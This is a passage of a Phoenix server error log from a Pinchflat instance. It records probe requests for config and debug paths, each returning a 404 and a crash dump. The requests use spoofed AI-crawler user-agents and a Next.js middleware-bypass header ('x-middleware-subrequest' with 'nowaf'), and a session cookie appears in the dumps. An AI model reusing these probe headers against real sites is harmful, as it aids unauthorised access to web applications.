params: %{}, path_info: ["debug", "pprof"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/debug/pprof", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mQX_l2awAgABwqh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/pprof", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/pprof (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/pprof", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:10.646 [info] GET /api/4/config 16:49:10.647 [debug] QUERY OK source="settings" db=0.1ms idle=157.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.647 [debug] QUERY OK source="settings" db=0.0ms idle=157.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.647 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.647 [error] #PID<0.29887.0> running PinchflatWeb.Endpoint (connection #PID<0.29886.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/4/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/4/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/4/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29887.0>, params: %{}, path_info: ["api", "4", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/4/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61m0ZlA_fDukABwrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/4/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/4/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/4/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:10.669 [info] GET /v1/onboarding/config 16:49:10.669 [debug] QUERY OK source="settings" db=0.0ms idle=179.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.669 [debug] QUERY OK source="settings" db=0.0ms idle=173.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.669 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.670 [error] #PID<0.29889.0> running PinchflatWeb.Endpoint (connection #PID<0.29888.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v1/onboarding/config?token= ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/onboarding/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/onboarding/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "token=", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29889.0>, params: %{"token" => ""}, path_info: ["v1", "onboarding", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"token" => ""}, query_string: "token=", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/v1/onboarding/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61m5xyP3iZVsABwrh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/onboarding/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "token=", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/onboarding/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/onboarding/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:10.671 [info] GET /api/config 16:49:10.671 [debug] QUERY OK source="settings" db=0.0ms idle=175.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.671 [debug] QUERY OK source="settings" db=0.0ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.671 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.671 [error] #PID<0.29891.0> running PinchflatWeb.Endpoint (connection #PID<0.29890.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29891.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61m6OxBwBXMQABwsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34918}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 